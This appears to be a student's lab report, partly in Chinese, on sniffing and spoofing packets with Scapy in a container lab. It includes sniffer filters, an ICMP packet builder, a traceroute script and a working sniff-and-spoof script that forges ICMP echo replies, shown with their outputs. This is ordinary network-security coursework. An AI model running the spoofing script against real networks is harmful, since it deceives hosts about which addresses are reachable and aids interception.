

Lab Task Set 1: Using Scapy to Sniff and Spoof Packets

Task 1.1: Sniffing Packets

Task 1.1A.

实验目标：一方发送报文，另一方进行 `sniffer` 抓取嗅探。

Code:

```
1.   from scapy.all import *
2.   def print_pkt(pkt):
3.       pkt.show()
4.   ptk = sniff(iface='br-a662275d44ba', filter='icmp', prn=print_pkt)
```

Result:

User 端发送报文，进行如下操作：

```
root@62335e5ae10b:/# python3
Python 3.8.5 (default, Jul 28 2020, 12:59:40)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from scapy.all import *
>>> IP()
<IP |>
>>> a=IP(dst="10.9.0.1")
>>> a
<IP dst=10.9.0.1 |>
>>> send(a)

Sent 1 packets.
>>> a=IP(dst="10.9.0.5")
>>> send(a)

Sent 1 packets.
>>> a=IP(dst="10.9.0.1")
>>> send(a)

Sent 1 packets.
>>> █
```

Attacker 段进行 `sniffer`，结果如下：

```
root@VM:/volumes# python3 sniffer.py
###[ Ethernet ]###
dst      = 02:42:0a:09:00:05
src      = 02:42:80:bc:2f:ad
type    = IPv4
###[ IP ]###
version  = 4
ihl     = 5
tos     = 0xc0
len     = 48
id      = 32598
flags   =
frag   = 0
ttl    = 64
proto   = icmp
chksum  = 0xe69f
src     = 10.9.0.1
dst     = 10.9.0.5
\options \
###[ ICMP ]###
type    = dest-unreach
code   = protocol-unreachable
chksum = 0xfcfd
reserved = 0
length  = 0
nexthopmtu= 0
###[ IP in ICMP ]###
version = 4
```

Task 1.1B.

实验目标：筛选报文

筛选 ICMP 报文：

Code:

```
1.    pkt = sniff(iface='br-a662275d44ba', filter='icmp', prn=print_pkt)

root@VM:/volumes# python3 sniffer.py
###[ Ethernet ]###
dst      = 02:42:0a:09:00:05
src      = 02:42:80:bc:2f:ad
type     = IPv4
###[ IP ]###
version  = 4
ihl      = 5
tos      = 0xc0
len      = 48
id       = 32598
flags    =
frag    = 0
ttl     = 64
proto   = icmp
chksum  = 0xe69f
src     = 10.9.0.1
dst     = 10.9.0.5
\options \
###[ ICMP ]###
type    = dest-unreach
code    = protocol-unreachable
checksum = 0xfcfd
reserved = 0
length  = 0
nexthopmtu= 0
###[ IP in ICMP ]###
version = 4
```

筛选 TCP，宿端口为 23 和源 IP 为 10.9.0.5 的报文

Code:

```
1.    pkt = sniff(iface='br-a662275d44ba', filter='tcp and dst port 23 and src net 10.9.0.5', prn=print_
pkt)

root@VM:/volumes# python3 sniffer.py
###[ Ethernet ]###
dst      = 02:42:80:bc:2f:ad
src      = 02:42:0a:09:00:05
type     = IPv4
###[ IP ]###
version  = 4
ihl      = 5
tos      = 0x0
len      = 40
id       = 1
flags    =
frag    = 0
ttl     = 64
proto   = tcp
chksum  = 0x66b8
src     = 10.9.0.5
dst     = 10.9.0.1
\options \
###[ TCP ]###
sport    = ftp_data
dport    = telnet
seq     = 0
ack     = 0
dataofs = 5
reserved = 0
flags    = S
window   = 8192
```

筛选 11.9.1.0/24 的网段报文

Code:

```
1.     pkt = sniff(iface='br-a662275d44ba', filter='net 11.9.1.0 mask 255.255.255.0', prn=print_pkt)
root@VM:/volumes# python3 sniffer.py
###[ Ethernet ]###
dst      = 02:42:80:bc:2f:ad
src      = 02:42:0a:09:00:05
type     = IPv4
###[ IP ]###
version  = 4
ihl      = 5
tos      = 0x0
len      = 20
id       = 1
flags    =
frag     = 0
ttl      = 64
proto    = hopopt
chksum   = 0x64d2
src      = 10.9.0.5
dst      = 11.9.1.1
options  \\\
```

Task 1.2: Spoofing ICMP Packets

实验目的：构造 ICMP 报文

实验过程即结果如下：

```
>>> from scapy.all import *
>>> a=IP()
>>> a.dst ='10.9.0.1'
>>> b=ICMP()
>>> p=a/b
>>> send(p)
.
Sent 1 packets.
>>> ls(a)
version : BitField (4 bits)      = 4          (4)
ihl    : BitField (4 bits)      = None      (None)
tos    : XByteField           = 0          (0)
len    : ShortField            = None      (None)
id     : ShortField            = 1          (1)
flags  : FlagsField (3 bits)    = <Flag 0 ()> (<Flag 0 ()>)
frag   : BitField (13 bits)     = 0          (0)
ttl    : ByteField              = 64         (64)
proto  : ByteEnumField         = 0          (0)
chksum : XShortField           = None      (None)
src    : SourceIPField          = '10.9.0.5' (None)
dst    : DestIPField            = '10.9.0.1' (None)
options: PacketListField        = []         ([])
```

Task 1.3: Traceroute

实验目的：路由追踪

Code:

```
1.  from scapy.all import *
2.  hostname = "172.17.0.1"
3.  for i in range(1, 28):
4.      pkt = IP(dst=hostname, ttl=i) / UDP(dport=33434)
5.      # Send the packet and get a reply
6.      reply = sr1(pkt, verbose=0)
7.      if reply is None:
8.          # No reply =
9.          break
```

```
10.     elif reply.type == 3:
11.         # We've reached our destination
12.         print ("Done!", reply.src)
13.         break
14.     else:
15.         # We're in the middle somewhere
16.         print ("%d hops away: " % i , reply.src)
```

实验结果：如下

```
root@VM:/volumes# python3 traceroute.py
Done! 10.9.0.5
```

Task 1.4: Sniffing and-then Spoofing

实验目的：进行 ICMP 报文捕获以及欺骗

Code:

```
1.  from scapy.all import *
2.  def sniffandspoof(pkt):
3.      if ICMP in pkt and pkt[ICMP].type==8:
4.          print("Original Packet.....")
5.          print("Source IP:",pkt[IP].src)
6.          print("Destination IP:",pkt[IP].dst)
7.
8.          ip=IP(src=pkt[IP].dst,dst=pkt[IP].src,ihl=pkt[IP].ihl)
9.          icmp=ICMP(type=0,id=pkt[ICMP].id,seq=pkt[ICMP].seq)
10.         data=pkt[Raw].load
11.         newpkt=ip/icmp/data
12.         print("Spoofed Packet.....")
13.         print("Source IP:",newpkt[IP].src)
14.         print("Destination IP:",newpkt[IP].dst)
15.         send(newpkt,verbose=0)
16.
17.
18. pkt = sniff(iface='br-a662275d44ba', filter='icmp and src host 10.9.0.5', prn=sniffandspoof)
```

实验结果如下：

初次在 User 端 ping 不存在的外网 IP 地址 1.2.3.4，显示无法 ping 通：

在 Attacker 端运行上述代码后，构造欺骗 ICMP 报文后，在 User 端 ping 1.1.1.1 结果如下：

```
root@49afe2b85a23:/# ping 1.2.3.4
PING 1.2.3.4 (1.2.3.4) 56(84) bytes of data.
From 10.9.0.1 icmp_seq=1 Destination Net Unreachable
64 bytes from 1.2.3.4: icmp_seq=1 ttl=64 time=51.1 ms
From 10.9.0.1 icmp_seq=2 Destination Net Unreachable
64 bytes from 1.2.3.4: icmp_seq=2 ttl=64 time=24.0 ms
From 10.9.0.1 icmp_seq=3 Destination Net Unreachable
64 bytes from 1.2.3.4: icmp_seq=3 ttl=64 time=23.9 ms
From 10.9.0.1 icmp_seq=4 Destination Net Unreachable
64 bytes from 1.2.3.4: icmp_seq=4 ttl=64 time=18.8 ms
64 bytes from 1.2.3.4: icmp_seq=5 ttl=64 time=21.6 ms
64 bytes from 1.2.3.4: icmp_seq=6 ttl=64 time=19.4 ms
64 bytes from 1.2.3.4: icmp_seq=7 ttl=64 time=25.0 ms
64 bytes from 1.2.3.4: icmp_seq=8 ttl=64 time=23.4 ms
64 bytes from 1.2.3.4: icmp_seq=9 ttl=64 time=25.3 ms
^C
--- 1.2.3.4 ping statistics ---
9 packets transmitted, 9 received, +4 errors, 0% packet loss, time 8044ms
rtt min/avg/max/mdev = 18.837/25.843/51.149/9.207 ms
```

如下是 sniff and spoof 程序实时输出结果：

```
root@VM:/volumes# python3 ss.py
Original Packet.....
Source IP: 10.9.0.5
Destination IP: 1.2.3.4
Spoofed Packet.....
Source IP: 1.2.3.4
Destination IP: 10.9.0.5
Original Packet.....
Source IP: 10.9.0.5
Destination IP: 1.2.3.4
Spoofed Packet.....
Source IP: 1.2.3.4
Destination IP: 10.9.0.5
```

对于内网不存在的 ip 地址 10.9.0.99，开启欺骗，仍然不能 ping 通：

```
root@49afe2b85a23:/# ping 10.9.0.99
PING 10.9.0.99 (10.9.0.99) 56(84) bytes of data.
From 10.9.0.5 icmp_seq=1 Destination Host Unreachable
From 10.9.0.5 icmp_seq=2 Destination Host Unreachable
From 10.9.0.5 icmp_seq=3 Destination Host Unreachable
From 10.9.0.5 icmp_seq=4 Destination Host Unreachable
From 10.9.0.5 icmp_seq=5 Destination Host Unreachable
From 10.9.0.5 icmp_seq=6 Destination Host Unreachable
From 10.9.0.5 icmp_seq=7 Destination Host Unreachable
From 10.9.0.5 icmp_seq=8 Destination Host Unreachable
From 10.9.0.5 icmp_seq=9 Destination Host Unreachable
From 10.9.0.5 icmp_seq=10 Destination Host Unreachable
From 10.9.0.5 icmp_seq=11 Destination Host Unreachable
From 10.9.0.5 icmp_seq=12 Destination Host Unreachable
^C
--- 10.9.0.99 ping statistics ---
13 packets transmitted, 0 received, +12 errors, 100% packet loss, time 12292ms
pipe 4
```

因为 User 网关为 Attacker 端，内网通信不经过网关，Attacker 也无法捕获 ICMP 请求报文

```
root@49afe2b85a23:/# route -n
Kernel IP routing table
Destination      Gateway        Genmask        Flags Metric Ref    Use Iface
0.0.0.0          10.9.0.1      0.0.0.0       UG     0      0        0 eth0
10.9.0.0         0.0.0.0       255.255.255.0  U      0      0        0 eth0
```

对于存在的外网地址 8.8.8.8 (没有连接外部互联网时)

```
root@49afe2b85a23:/# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
From 10.9.0.1 icmp_seq=1 Destination Net Unreachable
From 10.9.0.1 icmp_seq=2 Destination Net Unreachable
From 10.9.0.1 icmp_seq=3 Destination Net Unreachable
From 10.9.0.1 icmp_seq=4 Destination Net Unreachable
^C
--- 8.8.8.8 ping statistics ---
5 packets transmitted, 0 received, +4 errors, 100% packet loss, time 4076ms
```

开启 ICMP 欺骗后:

```
root@49afe2b85a23:/# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
From 10.9.0.1 icmp_seq=1 Destination Net Unreachable
64 bytes from 8.8.8.8: icmp_seq=1 ttl=64 time=60.6 ms
From 10.9.0.1 icmp_seq=2 Destination Net Unreachable
64 bytes from 8.8.8.8: icmp_seq=2 ttl=64 time=24.2 ms
From 10.9.0.1 icmp_seq=3 Destination Net Unreachable
64 bytes from 8.8.8.8: icmp_seq=3 ttl=64 time=18.8 ms
From 10.9.0.1 icmp_seq=4 Destination Net Unreachable
64 bytes from 8.8.8.8: icmp_seq=4 ttl=64 time=18.0 ms
64 bytes from 8.8.8.8: icmp_seq=5 ttl=64 time=23.7 ms
64 bytes from 8.8.8.8: icmp_seq=6 ttl=64 time=18.9 ms
64 bytes from 8.8.8.8: icmp_seq=7 ttl=64 time=24.2 ms
64 bytes from 8.8.8.8: icmp_seq=8 ttl=64 time=17.5 ms
64 bytes from 8.8.8.8: icmp_seq=9 ttl=64 time=24.2 ms
64 bytes from 8.8.8.8: icmp_seq=10 ttl=64 time=28.5 ms
64 bytes from 8.8.8.8: icmp_seq=11 ttl=64 time=20.5 ms
64 bytes from 8.8.8.8: icmp_seq=12 ttl=64 time=23.3 ms
64 bytes from 8.8.8.8: icmp_seq=13 ttl=64 time=25.1 ms
64 bytes from 8.8.8.8: icmp_seq=14 ttl=64 time=19.9 ms
^C
```

如下是 sniff and spoof 程序实时输出结果:

```
root@VM:/volumes# python3 ss.py
Original Packet.....
Source IP: 10.9.0.5
Destination IP: 8.8.8.8
Spoofed Packet.....
Source IP: 8.8.8.8
Destination IP: 10.9.0.5
Original Packet.....
Source IP: 10.9.0.5
Destination IP: 8.8.8.8
Spoofed Packet.....
Source IP: 8.8.8.8
Destination IP: 10.9.0.5
Original Packet.....
Source IP: 10.9.0.5
Destination IP: 8.8.8.8
Spoofed Packet.....
Source IP: 8.8.8.8
Destination IP: 10.9.0.5
```